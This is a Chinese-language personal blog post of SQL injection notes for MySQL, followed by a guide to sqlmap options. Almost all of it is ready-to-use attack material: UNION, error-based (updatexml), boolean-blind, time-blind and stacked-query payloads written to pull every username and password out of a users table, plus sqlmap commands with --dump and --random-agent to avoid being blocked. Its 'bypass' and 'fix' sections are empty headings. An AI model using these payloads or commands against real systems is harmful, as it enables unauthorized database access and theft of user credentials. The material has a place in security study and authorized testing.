SQL注入个人小记(以MySQL为例)

SQL注入个人小记(以MySQL为例)

sqlmap 伟大无需多言

https://github.com/sqlmapproject/sqlmap

参考链接

https://github.com/jason-blog/blog/blob/master/Kali/Sqlmap使用教程【个人笔记精华整理】.MD

手工payload

测试注入点情况

-- 判断字段数:在URL中添加
?inject=1' order by 1--+

从information_schema中查询信息

# 从信息表中查询当前数据库所有表
select group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE()
# 从表中查询所有字段
select group_concat(column_name) from information_schema.COLUMNS where table_name = 'users'

# 查询值
select group_concat(password) from users;
SELECT CONCAT(username, ':', password) FROM users; # 表格展示
SELECT GROUP_CONCAT(CONCAT(username, ':', password)) FROM users; # 一行展示

select * from users

UNION注入

payload 如下

-- 使用union select 1,2,3,··· 查询出列数为val
1' union select 1,2,3,··,val --+

-- 查询当前数据库所有表
1' union select 1,group_concat(table_name) from information_schema.TABLES WHERE table_schema = DATABASE() --+

报错注入

updatexml(XML_document,XPath_string,new_value) 利用这个函数,传入的<XPath_string>不合法会将报错内容输出,比如含有'~'字符

payload如下

-- 测试是否存在报错注入
1' or updatexml(1, concat(0x7e, (select 1 ),0x7e) ,1) #
-- 查询用户表中所有的密码
-1' or updatexml(1,concat(0x7e, (select group_concat(password) from users), 0x7e),1)  #
				 
# 0x7e 是 '~' 字符

布尔盲注

以MySQL为例,利用mid或substring或substr函数对查询结果获取子串,以下贴出一些常见的sql语句示例

-- 将users表中的username,password全部查询出来,username和password以0x7e,即'~'符号分隔,每行结果以','分隔
select group_concat(username, 0x7e, password) from users;
-- 截取以第1位字母开头,长度为1的子串
select mid((select group_concat(username, 0x7e, password) from users), 1, 1);
-- 将查询的第1位跟 'D' 字符比对,返回true即sql语句正常执行,返回false则sql语句无法正常返回id=1的数据
select * from users where id = 1 and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D';

参考payload

1' and BINARY (select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D' #

时间盲注

若无法实现布尔盲注(如果sql语句的查询结果返回并无太大区别),可以在sql语句中进行比对,返回true延时1s,返回false不延时,注入后的sql语句如下

select * from users where id = '1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'D'), sleep(1), 1);

参考payload

1' or BINARY if(((select mid((select group_concat(username, 0x7e, password) from users), 1, 1)) = 'e'), sleep(1), 1) #

堆叠注入

获取信息

?inject=-1'; show databases; --+
?inject=-1'; show tables; --+
# 查询列
?inject=1';desc `table_name`--+
?inject=1';show columns from `table_name`--+

利用姿势

# 直接获取数据
handler `table_name` open;handler `table_name` read first; --+
-- 最简单

# 结合预编译
-- 还算安全,但是麻烦

# 修改表结构 让需要查询的表的名字改为服务正常查询表的名字
-- 删库跑路了

-- MySQL表名为纯数字时(表名和保留字冲突时也是加反引号),要加反引号

注入点

where (最常见)

下面列举一些闭合前面的常见组合

1#
1'#
1"#
1')#
1")#
1'))#
1"))#

set 注入点

以下sql语句

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

参数$passwd 存在注入,注意控制条件免得直接更新一整张表,意思就是在注释符号之前自己写一个条件为false的,如下

1'  where 1=2 #

主要、使用报错注入获取数据

使用 sqlmap -r 选项指定报文并进行测试

使用 -r 参数可以将 HTTP 请求报文文件导入到 sqlmap,然后对指定的注入点和注入类型进行爆破测试。

1. 命令格式

sqlmap -r request.txt --level=<level> --risk=<risk> --dbms=<dbms> --technique=<technique> --batch --random-agent -p <parameter>

其中:

  • -r request.txt:导入包含 HTTP 请求的文件。
  • --level=<level>:指定注入级别(1-5),级别越高,测试的参数越多(默认是 1)。
  • --risk=<risk>:指定测试的风险(1-3),级别越高,测试的请求可能对目标服务器造成的负载越大(默认是 1)。
  • --dbms=<dbms>:指定数据库类型(如 MySQL, MSSQL, Oracle, PostgreSQL 等)。可以在明确知道目标数据库类型时指定。
  • --technique=<technique>:指定 SQL 注入的技术类型(B、E、U、S、T),分别表示:
    • B:布尔型盲注(Boolean-based Blind)
    • E:报错注入(Error-based)
    • U:联合查询注入(Union query-based)
    • S:堆查询注入(Stacked queries)
    • T:时间盲注(Time-based Blind)
  • --batch:自动确认所有提示(用于无人值守的自动化测试)。
  • --random-agent:随机更改 User-Agent 头部,防止被目标服务器屏蔽。
  • -p <parameter>:指定要测试的参数名称。此处的 <parameter> 替换为实际请求中可能存在注入的参数名,如 usernamepassword 等。

2. 示例命令

以下是一些具体的 sqlmap 命令示例,帮助你在测试环境中进行报错注入或其他类型的 SQL 注入测试:

例 1:对 POST 请求中 username 参数进行报错注入测试

sqlmap -r request.txt --level=3 --risk=2 --technique=E --batch --random-agent -p username
  • --level=3:测试所有的 POST 参数以及一些 HTTP 头中的参数。
  • --risk=2:进行适度风险的测试,可能会使用一些可能影响服务器性能的测试用例。
  • --technique=E:只使用报错型注入进行测试。
  • -p username:只对 username 参数进行注入测试。

例 2:对 GET 请求中所有参数进行联合查询注入测试

sqlmap -r request.txt --level=2 --risk=1 --technique=U --dbms=MySQL --batch --random-agent
  • --dbms=MySQL:指定目标数据库类型为 MySQL(可选项,知道目标数据库类型时指定更有效)。
  • --technique=U:只使用联合查询注入进行测试。

例 3:对 POST 请求中 password 参数进行时间盲注测试

sqlmap -r request.txt --level=1 --risk=1 --technique=T --batch --random-agent -p password
  • --technique=T:只使用时间盲注进行测试。
  • -p password:只对 password 参数进行注入测试。

3. 常用的 sqlmap 选项说明

  • --dbs:列出数据库。
  • --tables:列出指定数据库的表(需要使用 -D 参数指定数据库名)。
  • --columns:列出指定表的字段(需要使用 -T 参数指定表名)。
  • --dump:转储数据(需要指定数据库和表)。

4. 检查注入点结果

  • 如果 sqlmap 成功发现了 SQL 注入点,会自动显示数据库名、表名、字段信息,并可能会询问是否进一步导出数据。
  • 如果你想只检测注入点而不进行数据导出,可以添加 --smart 选项,它会在检测到注入点后自动停止测试,而不进行进一步的数据操作。

5. 请求前获取新Cookie

为了在每次请求之前获取一个新的Cookie,并将这个Cookie传递给Sqlmap,可以使用--eval参数。这个参数允许你在每次请求之前执行一个自定义的Python代码段来获取Cookie,然后将其设置为请求的一部分。

假设你需要请求一个URL来获取Cookie,并将该Cookie设置给Sqlmap,代码如下:

python sqlmap.py -r request.txt --level=3 --risk=2 --technique=T --batch --random-agent -p id --eval="import requests; r = requests.get('http://example.com/get-cookie'); cookie = r.cookies.get('your_cookie_name'); headers['Cookie'] = f'your_cookie_name={cookie}'"

说明:

  • --eval 允许你在Sqlmap每次请求前执行Python代码。
  • requests.get('http://example.com/get-cookie') 请求指定URL以获取新的Cookie。
  • r.cookies.get('your_cookie_name') 获取请求结果中的指定Cookie名称。
  • headers['Cookie'] 设置Sqlmap在后续请求中使用这个Cookie。

确保你将 http://example.com/get-cookieyour_cookie_name 替换为实际的URL和Cookie名称。这样,每次Sqlmap进行请求前,它都会先向指定的URL发送请求以获取最新的Cookie。

绕过思路

修复思路

posted @ 2024-12-09 12:31  lrui1  阅读(106)  评论(0编辑  收藏  举报